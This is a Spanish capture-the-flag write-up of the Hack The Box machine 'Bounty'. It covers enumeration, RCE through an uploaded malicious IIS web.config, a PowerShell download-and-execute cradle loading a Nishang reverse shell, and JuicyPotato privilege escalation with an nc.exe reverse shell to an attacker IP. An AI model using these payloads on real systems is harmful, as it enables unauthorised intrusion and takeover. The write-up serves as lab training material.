Volver atras HTB_Bounty | Savinotes

HTB_Bounty

Bounty {-}

Introduccion {-}

La maquina del dia 20/08/2021 se llama Bounty.

El replay del live se puede ver aqui

S4vitaar Bounty maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.93

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.93

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.93 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p80 10.10.10.93 -oN targeted
PuertoServicioQue se nos occure?Que falta?
80httpWeb, Fuzzing

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.93

Estamos en frente de un IIS

Analyzando la web con Firefox {-}

Vemos una imagen de Merlin ;)

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.93/FUZZ

Encontramos una routa

 uploadedFiles 

, probamos con una extension

 .aspx 

porque es un IIS

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.93/FUZZ.aspx

Encontramos una routa

 transfer.aspx 

Si la analyzamos con firefox, vemos una pagina que nos permite subir ficheros.

Vulnerability Assessment {-}

Vulnerabilidad IIS en file upload {-}

Buscamos en internet sobre la busqueda

 iis upload exploit 

. Encontramos una pagina interesante en ivoidwarranties. Uploadeando un fichero

 web.config 

podriamos ejecutar comandos a nivel de systema.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Lo subimos en la red y controlamos en la routa

 http://10.10.10.93/uploadedFiles/web.config 

Aqui vemos que el codigo se a ejecutado. Ahora necessitamos ver si podemos ejecutar codigo a nivel de systema.

Buscamos en la pagina Hacking Dream un one linear que nos permite entablar una reverse shell con ASP.

La añadimos al web.config y la modificamos.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set co = CreateObject("WScript.Shell")
Set cte = co.Exec("ping 10.10.14.7")
output = cte.StdOut.Readall()
Response.write(output)
%>
-->

Nos ponemos en escucha de trazas ICMP

 tcpdump -i tun0 icmp -n 

y enviamos el fichero nuevamente y vemos que recibimos la traza ICMP.

Vuln exploit & Gaining Access {-}

Ganando accesso con un web.config {-}

Aqui trabajaremos con Nishang porque nos queremos entablar una PowerShell.

  1. Descargamos Nishang y modificamos el fichero de reverse shell por tcp

    git clone https://github.com/samratashok/nishang
    cd nishang/Shells
    cp Invoke-PowerShellTcp.ps1 ../../PS.ps1
    cd ../..
    nano PS.ps1

    Modificamos el fichero PS.ps1 para añadir

 Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443 

al final del fichero

  1. Modificamos el web.config para que descarge el fichero PS.ps1 al momento que lo lanzemos.

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
            <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
    </configuration>
    <!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
    <%
    Set co = CreateObject("WScript.Shell")
    Set cte = co.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PS.ps1')")
    output = cte.StdOut.Readall()
    Response.write(output)
    %>
    -->
  2. Uploadeamos el fichero en la web

  3. Lanzamos un servidor web con pyhton

    python -m http.server 80
  4. Nos ponemos en escucha por el puerto 443

    rlwrap nc -nlvp 443
  5. Navigamos al url

 http://10.10.10.93/uploadedFiles/web.config 

Y vemos que ganamos accesso al systema

whoami

#Output
bounty\merlin

Privilege Escalation {-}

Rootear la maquina {-}

systeminfo
whoami /priv

Aqui vemos que tenemos el

 SeImpersonatePrivilege 

;)

Tiramos como siempre de JuicyPotatoe.exe

Lo descargamos en la maquina de atacante y lo enviamos a la victima.

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
cp /usr/share/sqlninja/apps/nc.exe
python3 -m http.server 80

En la maquina victima lo descargamos

cd C:\Windows\Temp
mkdir privesc
cd privesc
iwr -uri http://10.10.14.7/JuicyPotato.exe -OutFile JuicyPotato.exe
iwr -uri http://10.10.14.7/nc.exe -OutFile nc.exe

Nos ponemos en escucha por el puerto 443

rlwrap nc -nlvp 443

Nos connectamos con el servicio nc con el JuicyPotato.

./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c .\nc.exe -e cmd 10.10.14.7 443"

Aqui nos sale une error 10038. Esto suele passar cuando el CLSID no es el correcto. Como savemos con el systeminfo que estamos en una maquina Windows10 Enterprise, podemos buscar el CLSID correcto en Interesting CLSID encontramos el CLSID que corresponde y con el parametro

 -c 
./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c .\nc.exe -e cmd 10.10.14.7 443" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

La reverse shell nos a functionnado y con

 whoami 

vemos que ya somos nt authority\system y podemos ver la flag.